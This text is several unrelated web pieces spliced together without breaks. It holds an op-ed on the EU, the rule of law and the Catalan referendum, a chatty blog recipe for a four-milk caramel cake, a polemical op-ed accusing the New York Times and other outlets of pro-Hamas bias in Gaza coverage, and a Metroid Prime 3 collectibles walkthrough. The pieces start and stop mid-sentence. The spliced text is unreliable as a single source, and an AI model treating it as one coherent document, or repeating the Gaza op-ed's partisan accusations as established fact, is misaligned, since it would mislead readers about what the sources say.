Rule of law is not simply about obeying rules. The democratic rule of law is also a matter of how rules are made, how judiciaries are held accountable, and how norms and values gain legitimacy. During the last decade of crisis, the EU and national leaders have tended too far toward a minimalistic definition of the rule of law: rules are sacrosanct and must be obeyed.
For example, think of how economic rules were enforced in relation to Greece and other debtor states expressly against the dynamics of democratic accountability. Indeed, Spain’s potential fragmentation is, at least in part, the legacy of how the eurozone crisis was mismanaged—to the extent that disputes over austerity added fuel to the secessionist fire. Ironically, as EU leaders now meet and declare that crisis over, one key member state is struggling to hold itself together at least in some measure due to the tensions unleashed by it.
If citizens do not have the ability to influence rules and ensure their fair and equal application, there cannot be a fully democratic notion of “rule of law”—the risk is that the latter is no longer legality in the service of democratic rule, but rather cloak for a narrowed understanding of political legitimacy.
On such questions, member states can be shockingly hypocritical. The Spanish government now calls for a strict application of the rule of law. Yet in recent years it has itself been criticized by the Council of Europe for undermining the rule of law through its political control over the judiciary. Madrid called for flexibility in EU rules when it wanted to overrun its deficit, but now insists there can be no flexibility in the application of formal rules when it comes to its own aims to prevent Catalan independence.
It is important not to idealize the Catalan vote. This was not a purely instinctive, bottom-up exercise in people-led democracy. Abrogating parliamentary process, the referendum was stirred up by local leaders—by a part of the political class in Catalonia that has been as feckless, corrupt, and intolerant as its counterpart in Madrid. Yet, there is also an element of community-centered mobilization that has made Barcelona a vibrant hub of democratic innovation in recent years. The warm cooperation and experience-sharing between local democracy innovators in Madrid and Barcelona—with both cities admirably in the lead of a global redesign in community-level participation—stands in stark contrast to the vitriolic insults thrown by both sets of “national” politicians.
Crucially, this is part of a wider trend that is also happening in other EU countries. The desire of citizens to bring democratic accountability back down to local or community level is routinely belittled. Analysts commonly hold it to be synonymous with nationalism, nativism, or populism. But this is a dangerous simplification that misses the many benign elements of such burgeoning local politics.
The point is that the EU does not have a balanced approach to these different elements of democracy, underplaying the importance of local participation. Benign democratic process unequivocally requires a rule of law, but other elements are of equal importance.
This represents a policy challenge in Spain and other EU states. While echoing the Spanish government’s appeal to the rule of law, the Commission has taken a long time to even move into first gear in defending the same principles where these are threatened by governments in Poland and Hungary. Moreover, in these countries many citizens complain that the EU often rides roughshod over local views and concerns. In such instances, rule of law without its democratic handmaiden is a recipe for further popular discontent.
As the current Catalan crisis stems from a failure of moderate political leadership in both Madrid and Barcelona, any outside involvement must proceed from a fully balanced understanding of democratic rights. Levels of mutual hostility between Catalonia and the rest of Spain are running high, and both sides react with aggressive vehemence against the opinion of foreigners that they believe to be too favorable to the other side.
The EU is now running to catch up with events. As in many other instances, in Catalonia the EU has been slow to react and failed to preempt a very predictable crisis. While European politicians are just now switching on to the Catalan issue, this is a crisis that has been brewing for at least two years; it was clear many, many months ago that the referendum would be a crunch point.
More or less everyone is now rightly calling for dialogue. But by this stage, the EU should be able to offer something more concrete than simply saying that it would be good for the two sides to talk. Substantive ideas are needed for what a solution might look like. Although the Partido Popular (PP) government is rejecting EU mediation, the union should be contributing ideas for innovative governance models. Talk of federalizing the 1978 constitution has been around for a long time; yet after the events of last weekend it may now be difficult to enthuse many Catalans with traditional formalized versions of federalism alone. Rather, fresh proposals may be needed around embryonic notions of democratically participative confederalism.
Madrid, backed by EU governments, will win on legality and if the crisis comes down to a strength of force. But each heavy-handed move the government has made against Catalonia since the referendum will surely sharpen the challenge of winning consent for a renewed and positive Spanish “state” project.
The essential point is that forms of new politics are needed for Catalonia but also more widely across the EU—not to subvert but to accompany and oxygenate the rule of law. If the EU doesn’t mold a more rounded and proactive position on Spain’s impasse, and more carefully define balanced rules for defending democracy within Europe, Catalonia will not be the last crisis that it passively watches spiral out of control.If you’re on Facebook or Pinterest and could use one of those buttons above I’d surely appreciate it!
I’m different.
Some see this as a bad thing, some see it as a good. I see it as what it is. Chances are, you’re pretty different, too, maybe in some of the same ways, maybe in different ones.
Wouldn’t life be boring if we were all stamped out copies of one another.
I’m not putting a question mark at the end of my previous sentence, even though it is technically a question. It is a question meant as a statement, intended to get you to thinking but true enough that it requires no answer.
So I’ll just ignore all of the grammatical rules I was taught in college in lieu of some better ones I just made up on the fly.
I’m cool like that.
Because I said so. Don’t you agree – period. Of course you do.
When I was born, in the hospital, all the other babies came out bald or with heads full of hair that laid down perfectly.
Mine was white as a sheet and stood straight up all over my head. The nurses tried to slick it back with baby oil and that held for a minute or two until PLINK! a small tuft broke free from the oil to stand up again and then PLINK!PLINK!, two more, and then PLINK! PLINK! PLINK! PLINK! PLINK!
And I smiled.
Some say babies don’t smile – but those are usually folks who have a hard time smiling themselves and don’t want to believe that another human, only hours into this world, would do something so much better than they do.
I was born smiling and I haven’t forgotten how to do it, regardless of what life has thrown me.
And life has thrown me things and they’ve been some hard hits, but you don’t hear me talking about them or focusing on them or wallowing in them like some folks do. You don’t even know most of them exist.
Because I’m different.
I’m not different because I want to be or try to be, I’m different because that is who I am. And this world has tried time and again, and it won’t stop trying in the days and years ahead, to make me be like it, but I can’t do that.
Because I’m different.
And when I make Tres Leches, three milk cake, I make Cuatro Leches, Four milk Cake instead. Because I can’t march to the beat of other drums because I can’t even hear those drums over the roar of my own orchestra.
And I know that if three milks are good, four will be even better, especially when that fourth one is caramel.
Don’t you agree.
Again, no question mark.
Gosh I have fun!
Now let’s make a cake…
You’ll need: Heavy Cream, Sweetened Condensed Milk, Evaporated Milk, Caramel Sauce, whipped topping, and a cake mix.
I like Butter Golden but you can use yellow, white, or whatever you have. You could even use chocolate if you want.
Prepare cake mix according to the package directions.
This butter golden mix is fluffier than regular cake mixes but I promise whatever you use will be just fine so trust me and don’t fret. If you’re going to fret over something there are greater causes than cake mix.
Spray a 9×13 pan with baking spray.
Spread cake mix into pan and bake according to directions on the box, making sure to get cake completely done before removing from oven.
We’re gonna put all sorts of good stuff on top of this cake so we don’t want it sinking in the middle.
Here is the finished cake.
Now poke holes all in the top of the cake using either a fork or the end of a wooden spoon or whatever you grab out of the drawer first.
Pour your sweetened condensed milk into a bowl…
Add your other milks
Now I’m using the big can of evaporated milk, so there is a wee bit left in it. Anyone wanna guess what I do with that?
BOTTOM’S UP! I love evaporated milk. It’s also good in coffee 🙂
Stir all of that up really good until well blended.
Pour it over the cake.
Give it a few minutes to soak in good.
Let it cool a bit and then spread your caramel over the cake.
Don’t eat it yet.
I know, this seems like a cruel thing to say…
Cover and refrigerate overnight.
Ice with Whipped Topping.
Enjoy!
Cuatro Leches Cake (Four Milk Cake) Print Ingredients 1 Box Butter Golden or Yellow Cake mix, prepared in a greased 9x13 pan according to directions
16 ounces caramel
14 ounce can sweetened condensed milk
12 ounces evaporated milk
1 cup heavy cream
16 ounces whipped topping Instructions After cake has been prepared according to package directions, poke holes all in the top of it. Stir together condensed milk, evaporated milk, and heavy cream. Pour over hot cake. Allow cake to cool slightly and milks to be absorbed. Spread caramel over cooled cake. Cover and refrigerate overnight. Ice cake with whipped topping and serve immediately or cover and return to the refrigerator until ready to serve. 3.5.3251
“Everyone wants to live on top of the mountain, but all the happiness and growth occurs while you are climbing it”
~Unknown
Submitted by Marian, thanks Marian! Submit your favorite quotes by clicking here.
YumIt's a "media intifada," notes Gary Weiss, an old colleague and one of the world's top business investigative reporters. He is referring of course to the ongoing war in Gaza, where journalists working for American news outlets have, he says, “become part of the Hamas war machine.”
As more than a month has passed since Israel began its Operation Protective Edge in Gaza, it’s high time to dig through the carnage that many of my colleagues from major U.S. media outlets are leaving behind—especially the New York Times.
On August 11th, the normally Israel-averse Foreign Press Association in Israel conceded what those closely following the war coverage already knew: That Hamas has been intimidating foreign reporters. In a harsh statement, it condemned the terrorist group for “the blatant, incessant, forceful and unorthodox methods employed by the Hamas authorities and their representatives against visiting international journalists in Gaza over the past month.”
This is hardly surprising, as who can expect a terrorist group to treat reporters nicely—except perhaps many reporters themselves? But what is surprising is that New York Times' Jerusalem bureau chief Jodi Rudoren undermined her own newspaper—quickly denouncing the FPA’s statement. She said in a tweet that she wasn’t aware of any such harassed reporters, even though she concedes she spent only one week in Gaza herself during the height of the conflict. In an email to the FPA, she said that the FPA’s statement could be “dangerous” to the “credibility” of the foreign press who are covering the conflict. “Every reporter I’ve met who was in Gaza during war says this Israeli/now FPA narrative of Hamas harassment is nonsense,” she tweeted. [Boldface type hers.]
I agree that there’s a lot of nonsense being disseminated about Israel’s war with Hamas, and about the media role in the conflict. And I agree that there is a danger—if people believe that the media, including the New York Times, provides a fair picture of the war in Gaza. (I would argue it is not.)
Since late July, I’ve conducted an in-depth look at the credibility of the media coverage, plus interviews with military experts and some journalists covering the war. Among other things, I’ve discovered that the Times’ most important reporter in Gaza for the past few years has used the late Yasser Arafat as his profile photo on Facebook, and, in a second photo, praised the former Palestinian leader. This suggests that the Times may have less to worry about in terms of Hamas intimidation than others in the press corps. Indeed, this Times reporter's parallel pieces for Qatar's Al Jazeera since the war began can only be pleasing to the terrorists.
.
My results are hardly complete, as it’s impossible to keep up with all the coverage while the fighting ensues (and rockets have again been fired at Israel today, hours before the end of a lengthy truce.) I’ll be focusing heavily on the Times, because it is, without question, the most important media outlet in the world, in terms of setting the table each day for other outlets. It is also widely regarded as the most authoritative media outlet in the world for international coverage. Since the operation (now clearly a war—albeit interspersed with ceasefires) began on July 8th, so much of the Western coverage has been predictably skewed against Israel—through those time-honored journalism tools of sloppy and lazy reporting, superficiality, nuance, omission, lack of historical knowledge, or flat-out agenda-driven lies and bias.
Journalism ethics professors and historians take note: You are bearing witness, with few exceptions, to some of the most abysmal overseas reporting since Hearst's New York Journal in 1898 got us into the Spanish-American War and Walter Duranty of the New York Times was ignoring Stalin’s crimes in the 1930s. “We’re not just talking bad journalism,” says Weiss. “We’re talking about journalism that functions as a tool of a terrorist organization, Hamas: breathlessly pushing its narrative, whether cowed by its threats, sympathetic to its cause, or simply ignorant.”
It’s not for lack of personnel. Israel’s Government Press Office says just over 700 foreign journalists from more than 40 countries have come to Israel to cover the war (joining the 750 already there). But only a few of them are doing their jobs right—that is, moving beyond the surface imagery and the heavy-handed (and wrong) “David and Goliath” agenda being advanced by the fascistic, death-worshipping terrorist group Hamas.
I raised the topic last week with Ambassador Ido Aharoni, Consul General of Israel in New York. “As someone who is a student of the media and a former journalist,” he says, “I find it bizarre— journalistically and morally—that after a month of intense fighting between Israel and Hamas, there were hardly any images shown in Western media of Hamas terrorists holding guns or Hamas |
19: Bryyo Thorn Jungle - Ancient Courtyard We've got a few expansions to collect on Bryyo now. First things first, land at the Thorn Jungle Airdock and make your way to the Ancient Courtyard, where you used your ship missiles to blast a wall blocking your path. Where the ship blasted the wall, you'll notice it's created a half-pipe. Use the boost ball to get to the top of the half pipe where the missile expansion is. Missile Expansion 20: Bryyo - Gateway Now head back to the main docking bay on Bryyo and head back into the Gateway room where you needed to unlock the big door. Go through the open door to the area with the tunnel. Take the right path in the tunnel again and this'll lead you back out into the area where the door was that led you to an energy tank earlier. Walk along the stone bridge and you'll see some ice blocking a small alcove. Blast the ice with your plasma beam, then make use of the morph ball again and roll into the alcove where you'll find the expansion. Missile Expansion 21: Bryyo - Burrow Make your way back to the Hangar Bay, and you'll see an orange door here that only opens with the plasma beam. Go through it and into the next area which is the Hall of the Golems. Find the golem on the top platform that has a panel on it you need the ice missile to shoot off. Do so, then activate the golem by using it's bomb slot. The golem will then permanently freeze all the fuel gel in the room. Use the frozen fuel gel to jump up to the platform opposite where the golem is and go through the door there into the Burrow area. Turn into a morph ball and roll into the tunnel. Make your way through the tunnel here, blowing away the crystals in your path as you go. The missile expansion is on the left side of the room underneath where you first rolled in, and you'll need to be pretty skillful in using double-bomb jumps to reach it. Trial and error will get it right. Missile Expansion 22: Bryyo - Fuel Gel Pool Go to the Hidden Court, and make your way up to where the door is that only opens with the plasma beam. Note that without the screw attack, you can only access the upper area of the Hidden Court by following the steps to get Missile Expansion 21 above. Once you have done that, continue to roll through the Burrow and out the other side and you'll eventually come through a door accessing the Hidden Court from a different direction. When you get to the gate, scan it and find the spots you need to shoot, then shoot them to lower it. With the gate down, stand on top of it and look up - you should see a grapple point you can use to get across to the far platform where the plasma beam door is. (If you already have the screw attack, you don't need to do any of that, simply screw attack across to the platform in the Hidden Court instead). Go through the door and follow the area through to the Fuel Gel Pool, where you'll see the head of a stone golem in the fuel gel. Jump onto the platforms on the right, then up into the golem's head. Walk through it to the other side, then use your ice missiles to freeze the fuel gel pouring out of the walls, creating platforms for you to jump on. Make your way up to the top area where you'll find another missile expansion. Missile Expansion 23: Bryyo - Hidden Court Go back to the Hidden Court. As you emerge out of the orange plasma beam door, you should see the half-pipe to your right that was created when you solved the puzzle in the room earlier with the golem. Space-jump across to the pipe, then use the boost ball to boost up the right-hand side of the pipe, where you'll find another missile expansion. Missile Expansion 24: Bryyo Fire - Imperial Hall Head to Fire Bryyo and make your way to the Gel Refinery Site. Melt all the ice you can see on the walls, then enter morph ball mode. Roll into the lowest point in the tunnel, then use your bombs to make your way up to the tube at the top of the room. Roll through the tube all the way to the end (avoiding the vents that periodically shoot out fire) and get behind the gate thing at the top of the room where a plasma beam door is. Go on through the door into the Imperial Hall, where there's another tunnel to roll through as a morph ball. Once on the other side, use the lasso to pull down the metal plates. From here you can jump across the gap to grab the expansion. Ship Missile Expansion 2: Skytown, Elysia - Security Station Go back to the centre spire area of Skytown, where you had two path choices. One path took to to the area where the boost ball was. Take the other path this time. You'll eventually come to the Security Station. As you enter this room, you'll see the ship missile expansion in the top left corner. Make your way through the room until you find some metal blocking a hole that you can melt with the plasma beam. Melt the metal, become a morph ball yet again, then enter the tube. Follow it all the way to the end to grab the expansion. Item checklist: 43/100 6.11 SCREW ATTACK ***************** Ability Location: This is found in the secret Bryyo Ice area, in the Hall of Remembrance. Simply jump across the lower platforms to get it. ***Note*** After getting the screw attack, make sure you look below to Ship Missile Expansion 3 and get that before you leave the area. Remember, as a noted in section 5 of this guide, the GFS Valhalla location becomes active after you find the screw attack. Apart from the energy cell you can find right at the start of the Valhalla, which is described below, I'm leaving the description of the items in the Valhalla until last, as you can get them in no particular order, and you'll need all 9 energy cells if you want to find everything in there and get far enough to progress the game. However, if you want, once you have 7 energy cells, you can go back there and get all the items. Youll just need to come back again and go through it again when you've found all 9 to progress the game. Missile Expansions: 2 Energy Tanks: 0 Ship Missile Expanions: 1 Energy Cells: 1 Missile Expansion 25: Bryyo - Falls of Fire This is found in the Falls of Fire area on Bryyo. Remember the point where you needed to activate a golem, and he bashed through a wall and jumped down a shaft? That's the place you need to get to if you want this expansion. Get there (the easiest way is to land at the main airdock on Bryyo, retrace your steps back to the Theseus, get inside, through the door on the other side and freeze the fuel get spouts or screw attack to get across the big gap) and get the golem to jump down the shaft again (how did he get back up, by the way?). Once you are down the bottom, use the screw attack to jump back up the walls to an alcove where the missile expansion is. Missile Expansion 26: Skytown, Elysia - Construction Bay Fly back to Skytown, Elysia, and make your way to the Construction Bay. Get back up to the top platform where the door is that took you to the boost ball by jumping on the platforms in front of you, grapple-swinging across the bottom of the structure then morph-balling up to the top. Once you are up there, turn around. In the distance you'll see the item along with one of those lore robots on top of the structure that has the grapple point beneath it. Screw attack from here to get across there and the expansion is yours. Ship Missile Expansion 3: Bryyo Ice - Hall of Remembrance This is found in the Hall of Remembrance, the same room you find the screw attack in. After you get the screw attack, you'll need to screw attack across to a door, screw attack up in the room called the Tower, and out a door at the top of that room. When you emerge from that room, you need to shoot the hand of the statue to turn it over. Do so and screw attack across to the hand. Once you are on the hand, turn to the left and you'll see the ship missile expansion sitting on top of the head of the other statue, just waiting for you to pick it up. Jump across and grab it. This one can be pretty easy to overlook. Energy Cell 2: GFS Valhalla - Docking Bay 5 Fly to the Valhalla and land at the docking bay. Walk towards the big door and turn to the right. You'll see the energy cell lying on the floor near some ship debris. Pretty hard to miss. Item checklist: 48/100 6.12 SHIP GRAPPLE ***************** Ability Location: You'll get the ship grapple after you have found the Aurora unit in Skytown, defeated Ghor, then reached the landing site in Skytown East, which happens to be the very last room in the area. Once there, deactivate the shield, call in your ship and interact with the console to upgrade it with the grapple. Missile Expansions: 2 Energy Tanks: 1 Ship Missile Expanions: 1 Energy Cells: 2 Missile Expansion 27: Skytown East, Elysia - Gearworks This is found in the Gearworks area of Skytown East. You don't technically need to ship grapple to get it, but you can't get it until you do. When you return to the Gearworks area after getting the ship grapple, a pirate ship will appear and blast away the platform you used to first get across the area as well as one of the big gears. With the gear gone you can screw attack from one ledge to the other - and pick up a missile expansion along the way. Missile Expansion 28: Skytown East, Elysia - Botanica Again, you don't technically require the ship grapple to get this expansion directly, but you do need it to solve the puzzle in the observatory to get to this area. You'll find it in the Botanica area of Skytown East. When you first enter the room you may notice it directly above the entrance. To reach it, pull out the block with your lasso to get up to the first ledge, then walk around the corner and lasso-pull the block to get up onto the next ledge. From here, turn around and screw attack across to the small ledge in the corner, then screw attack again from here to get to the expansion. Energy Tank 8: Bryyo - Machineworks Bridge Been a while since we found an energy tank huh? Head back to Bryyo and get back into the Fuel Gel Pool room, the one with the big golem head in it. Command your ship to pick up the head, then head back to the Hangar Bay and from there make your way into the Hall of the Golems. Approach the golem furthest from the door you entered the room in. Fire your plasma beam at it to uncover the bomb slot, then activate the golem. It'll breathe fire on a nearby door and melt it, giving you access. Walk through the newly created passage and through the door into the next area - Colossus Vista. Command your ship to drop the golem head on the huge golem statue in the background. The golem will be activated and he'll smash the cage holding the ship missile expansion (see below) and also uncover a door to the right of the room. Go through the door into Machineworks Bridge. Activate the floor spinner device to spin the bridge around. Once you've locked the bridge in place, wait for the two vertical plates with screw attack jump surfaces on them to move close together, then quickly screw attack between one and the other up to the top to grab the energy tank. Ship Missile Expansion 4: Bryyo - Colossus Vista Follow the steps above to get Energy Tank 8. After the huge golem in Colossus Vista has been activated, it'll smash open the cage holding the ship missile expansion. Energy Cell 3: Bryyo - Hidden Court This is the energy cell most people will have some trouble acquiring. Follow the steps above to get Energy Tank 8. Once you've activated one half of the bridge (and got the energy tank), leave the Machineworks Bridge and backtrack to the Hangar Bay. Get inside your ship and fly to the Thorn Jungle Airdock. Retrace your steps all the way to the North Jungle Court - the room where you needed to destroy the turret by pulling the three levers while jetpack pirates were attacking you (yeah, I hated that bit too). In this room you'll see a block on the ledge that doesn't have a lever on it. Use your command visor to command your ship pick this up, revealing a passage underneath. Roll into the hole and out the other side and proceed through the door. Hey look, you're on the other side of the Machineworks Bridge! Activate the spinner here to bring around the other half of the bridge. Once you've done that, walk across the bridge and out the other side. Backtrack AGAIN to the Hangar Bay, then retrace your steps from here back to the Hidden Court (won't take long, don't worry). Once there switch to your command visor and look up at the top of the machine. There you can drop the big battery that your ship is still carrying. Drop it down and the generator will start back up. Get yourself back up onto the half- pipe in this room, and boost ball yourself up onto the left side. Walk along the platform, jump into the little tunnel and follow it around to where the energy cell is. Grab the energy cell of lame going-around-in-circles then find somewhere to save so you don't need to go through all that again. Energy Cell 4: Skytown East, Elysia - Xenoresearch B This one's impossible to miss as you need to collect it to progress the game and gain the seeker missiles. You'll find it right at the end of Xenoresearch B in the same room as the seeker missiles. Item checklist: 55/100 6.13 SEEKER MISSILES ******************** Ability Location: You'll find the Seeker Missiles in Xenoresearch B in Skytown East. They are right at the end of the area. Pull out the energy cell here to deactivate the sheild around the containment cell holding the ability, then fire an ice missile at the glass to smash it and grab them. Missile Expansions: 1 Energy Tanks: 1 Ship Missile Expanions: 0 Energy Cells: 1 ***Note*** Don't forget to grab Energy Tank 9 below before you head off to get Missile Expansion 29. Missile Expansion 29: Skytown East, Elysia - Concourse This one isn't too far away, it's in the Concourse room in Skytown East. This is the room where you need to collect the second bomb component. You'll need the seeker missiles to access Concourse Access B, which gives you access to the upper area of the Concourse room. When you are here, turn to the left and roll through the tunnel as a morph ball to claim the missile expansion. Hard to miss this since you need to get over this side to shoot seeker missiles at the cables to solve the puzzle of the second bomb piece. Energy Tank 9: Skytown East, Elysia - Xenoresearch A You would have seen this tank in a containment cell as you made your way through Xenoresearch A before you got the seeker missiles. Now that you've got them, and that you pulled out the energy cell powering the containment cell shields to get them, you can fire a missile at the containment cell containing the energy tank, shattering the glass. Collect the tank. Energy Cell 5: Norion - Generator B Time for another trip back to Norion. If you've already activated the landing pad on Cargo Dock B, you can go straight there. Otherwise you'll need to land at the main docking bay, make your way into the Cargo Hub, go through the door you opened earlier by welding the panel next to it, and head through Conduit B to reach Cargo Dock B. When you arrive you'll be welcomed by a bunch of Hopping Metroids (is it just me or do hopping metroids look nothing like regular metroids?), so you'll need to kill all of them. They'll attack in several waves, then the phazon mass that's blocking the door at the other end of the area will explode, giving you access. Call down your ship to make saving and leaving this area quicker, then use the seeker missiles on the door that the phazon mass was covering to open it. Head through this area and into Generator B. When you enter the room, you'll need to fight a Metroid Hatcher. Once he's disposed of, the phazon on the walls explodes, revealing a tunnel you can roll through as a morph ball. Roll to the end of the tunnel and pull out the energy cell. Item checklist: 59/100 6.14 HYPER MISSILE ****************** Ability Location: You'll receive the Hyper Missile after defeating Helios inside the Elysia seed. Missile Expansions: 2 Energy Tanks: 0 Ship Missile Expanions: 0 Energy Cells: 1 Missile Expansion 30: Pirate Homeworld - Command Courtyard As with many other expansions, you don't directly use the hyper missile to get this expansion, but you need it to actually acces the Pirate Homeworld. Once you are on the Pirate Homeworld, head to the Command Courtyard. Avoid the acid rain and walk around to the right where you'll see spinning fans. Look up and you'll see a grab ledge. Get up there and roll through the tube as a morph ball. As you roll through this area you'll pass the expansion, but can't get it straight away. You need to keep rolling until the path branches in two. When this happens, take the left path, and this will lead you into another tube that'll take you to the expansion. ***Note*** You may want to get Energy Cell 6 below before continuing onto the next missile expansion. Missile Expansion 31: Pirate Homeworld - Command Station This is found in the Command Station on the Pirate Homeworld. When you first access this room, you'll come in via a tunnel you are rolling through as a morph ball. When you get down below the floor of this room, head right and follow the path along to the end where a missile expansion is sitting behind an energy shield. Jump up to grab it. Energy Cell 6: Pirate Homeworld - Command Courtyard Another energy cell that's impossible to miss as you need to collect it to progress. After collecting Missile Expansion 31 above, head back to the point in the morph ball tunnel where it split in two and you went left. This time, go right, and follow the tunnel to the end. Once you emerge out of the tunnel, pull out the energy cell. This stops the spinning fans below, allowing you to progress. Item checklist: 63/100 6.15 X-RAY VISOR **************** Ability Location: Found in the Command Vault on the Pirate Homeworld. Use your seeker missiles to bring it down and claim it. Missile Expansions: 4 Energy Tanks: 1 Ship Missile Expanions: 0 Energy Cells: 1 Missile Expansion 32: Pirate Homeworld - Security Air Lock After acquiring the x-ray visor, work your way back into the Defense Access and from there into the Security Air Lock, using the visor to interact with the terminals along the way to progress. Once you reach the Security Air Lock, the missile expansion is right in front of you. You can't miss it (well, I suppose you can if you try hard enough). Missile Expansion 33: Pirate Homeworld Research - Scrapvault This one's found in the Scrapvault area of Pirate Research on the Pirate Homeworld. When you are down on the bottom level of this room you may just be able to hear it, ever so faintly. If you switch to your x-ray visor and look up you should see it right on top of that middle section in the room. Jump from platform to platform and work your way up as high as you can until you see a grab ledge. Don't jump up there though...look slightly to the right, and you should see another platform. Screw Attack across to it, then turn to the right. There's a grab ledge there to jump up to, so get across there and you can tick another missile expansion off the list. ***Note*** You may want to collect Energy Tank 10 described below before leaving this area. Missile Expansion 34: Pirate Homeworld Research - Metroid Processing This expansion is cleverly hidden inside one of the metroid containment tanks in the Metroid Processing room in Pirate Research. To get to it, you'll need to activate the lift that takes you down to the lower level, and pull out the energy cell down there. Once that's gone, the metroids burst out of the containment tanks above. When you get back up there, take out the metroids then jump into the tank to claim the expansion. Missile Expansion 35: Pirate Homeworld Research - Creche Transit When you reach the Creche Transit room in Pirate Research, you'll see a broken hatch to the left as you enter the area. Turn into a morph ball and bomb that open, then roll down the tunnel until you reach a spinner device. Activate the spinner and turn it around until you can access the path to the right. Roll along the path and jump up to get it. Energy Tank 10: Pirate Homeworld Research - Scrapworks This is in the Scrapworks area of Pirate Research. To get in there, from the Scrapvault make your way up the platforms in the main area of the room until you see a grab ledge. Jump up there and Samus will turn into a morph ball. Roll into the tunnel and you'll roll into the Scrapworks. You should see the energy tank as you roll your way through this area. Make use of the moving platforms that go up and down to get as close to it as you can, then double bomb-jump to grab it. Energy Cell 7: Pirate Homeworld Research - Metroid Processing This is in the Metroid Processing room in Pirate Research. In fact, if you followed the guide to collecting Missile Expansion 34 above, you'll already have it. It's on the lower floor of this room. While you don't have to pull it out to progress the game, you do if you want that missile expansion. Item checklist: 70/100 ***Note*** If you want, at this point, after you have collected seven energy cells, you can go to the GFS Valhalla and collect all of the items in there. Keep in mind though, if you use your energy cells to go item hunting, you'll need to come back and go all way through it again once you have found the last two energy cells to progress the game. Scroll down to section 6.20 if you want these items now. 6.16 GRAPPLE VOLTAGE ******************** Ability Location: You receive this after defeating Gandrayda on the Pirate Homeworld. Missile Expansions: 1 Energy Tanks: 0 Ship Missile Expanions: 0 Energy Cells: 1 Missile Expansion 36: Pirate Homeworld - Lift Hub Once you have the grapple voltage, backtrack back to the Lift Hub in Pirate Command (where the map station was). On the other side of the room to the map station is a terminal you can give power to using the grapple voltage ability. After you give it full power the door opens revealing a lift. Step into it and it'll fall slightly. Step back out, and blast the cable above it to send it smashing down the shaft. With the lift out of the way, you can see the missile expansion on the other side waiting for you. Jump across to get it. Energy Cell 8: Skytown, Elysia - Ballista Storage This energy cell is way back in Skytown, Elysia...but since you need to head back there at this point in the game anyway, it's not that painful to take a detour to collect this. Retrace your steps back into the Ballista Storage room where you collected the Boost Ball. Ride the elevator down and you'll meet another Steamlord. This time he's mostly invisible so you'll need the x-ray visor to see him. Once he's disposed of and the robots are destroyed, overload the two spinning fans with power using your grapple voltage. The lock between them is then disengaged and you can grab the energy cell. Item checklist: 73/100 6.17 SPIDER BALL **************** Ability Location: This is found in Skytown, Elysia, but you'll need the grapple voltage to get to it. Make your way to the Powerworks room. Once inside, use seeker missiles on the door then roll through the tunnel into the main area of the room. You'll see a big gear cog on the floor. Jump up onto the platform near the cog, then from here latch onto it with your lasso and yank it into the air. As it's spinning in the air, fire a missile at it and the cog will land perfectly into the rest of the cogs and start spinning. This will reveal the spider ball. Once you have this ability, you can really cash in! Missile Expansions: 7 Energy Tanks: 2 Ship Missile Expanions: 2 Energy Cells: 0 Missile Expansion 37: Skytown, Elysia - Powerworks This can be a little tricky to find. This is also in the Powerworks, but outside. Once you have the spider ball, roll down the tube until you get outside. Use the spider ball tracks on the outside of the structure to find your way around and up. Once you reach a platform where are able to exit morph ball mode, look around for another spider ball track (not the one you used to get up here). When you find it, enter morph ball mode again and jump up to the track. Follow it along, back onto the outside of the structure. Eventually you'll come to a point where you can't go any further...from here use the boost ball to boost across the gap and grab the spider ball track on the other side. You'll find the missile expansion close by. ***Note*** Make sure you don't miss Energy Tank 11 and Ship Missile Expansion 5 described below you leave Skytown. Missile Expansion 38: Skytown, Elysia - Steambot Barracks This one's in the Steambot Barracks in Skytown...you no doubt saw this one when you were first in this area. Get to the lift in this room and when you reach the top there's a morph ball tunnel. Enter the tunnel and roll through it until you reach the spider ball tracks. Stick to the tracks and follow them around to grab the expansion. Missile Expansion 39: Skytown East, Elysia - Concourse Ventilation Make your way to Skytown East, and into the Concourse Ventilation area. Fall down to the bottom, then walk outside where you'll see a spider ball track. Follow it to the top and the expansion is yours. Missile Expansion 40: Norion - Cargo Dock A We're heading back to Norion for one last time. Land your ship at Cargo Dock A. Check out the outside wall next to the door you used to first access this area at the beginning of the game. There's a spider ball track there. Jump onto the track then follow it to the end to net the expansion. Missile Expansion 41: Bryyo - Hall of the Golems Fly back to Bryyo and land in the Hangar Bay. From here enter the Hall of the Golems, and activate the golem closest to the door you entered from using the grapple voltage then using the bomb slot. The golem will activate the spider ball tracks. Make your way along these tracks (it'll require some pretty nifty bomb-jumping and boosting) all the way to the top where the missile expansion is waiting for you. Missile Expansion 42: Pirate Homeworld - Flux Control Return to Pirate Command and find your way back to the Flux Control room. Find your way to the end of the room where the latch is that you can flip with the grapple lasso. Use the lasso to flip the latch onto the left tunnel, giving you access to the right tunnel. Enter morph ball mode and follow the tunnel into the inner area where the generator thing is. Use the spider ball tracks to get to the expansion. Missile Expansion 43: Pirate Homeworld Research - Craneyard Head back to Pirate Research and access the Craneyard. Roll up the spider ball track on the wall then follow the tube down to the bottom where you'll be presented with two spinners. The left spinner controls the lower half of the centre pillar, the right spinner controls the upper half. Enter the right spinner and use the boost ball to spin the upper half around until it's lined up with the lower half. You shouldn't need to touch the left spinner to get this. Drop a bomb to get out of the spinner, then ride the air jets up. Follow the tube to the right to get the expansion. Energy Tank 11: Skytown, Elysia - Zipline Charlie You'll see this energy tank as you make your way back across Zipline Charlie in Skytown after finding the spider ball. You need to use the spider ball to get across to the other side and this energy tank is floating in the air about halfway across the track. Double-bomb jump to get it. ***Note*** Be sure to grab Ship Missile Expansion 5 decribed below before leaving Skytown. Energy Tank 12: Bryyo Ice - Tower This is an energy tank a lot of people will miss even after acquiring the Bryyo map data to reveal the expansion locations. This is in Bryyo Ice, in the Tower room. Enter the room from the bottom door (or the top door if you prefer, but you'll need to fall down to the bottom) then look for the start of the spider ball track. Again you'll need to pull off some pretty tricky bombing and boosting to get up to the top, but the energy tank prize awaits you when you make it. Remember that you can only access the Bryyo Ice area from a portal in Bryyo Fire. Ship Missile Expansion 5: Skytown, Elysia - Hoverplate Docking Site Make your way to the Hoverplate Docking Site in Skytown. Check your map to work out the easiest path to get there (either way, utilising the cannons, it shouldn't take you long). When you get there, screw attack across to the platforms hovering in the distance. Jump from platform to platform after that until you get up to the one with the spider ball track on it. Negotiate the twisty track and the expansion awaits you at the end. Ship Missile Expansion 6: Pirate Homeworld Research - Scrapworks This one's way back in the Scrapworks room in Pirate Research...but since you need to head back in this general direction to progress the game at this point, there's not too much backtracking needed. Land your ship at Pirate Research and make your way back into the Scrapvault. From here, enter the Scrapworks the same way you did before (using the grab ledge to roll into the tunnel that leads you into the room). Roll through the room until you come to a 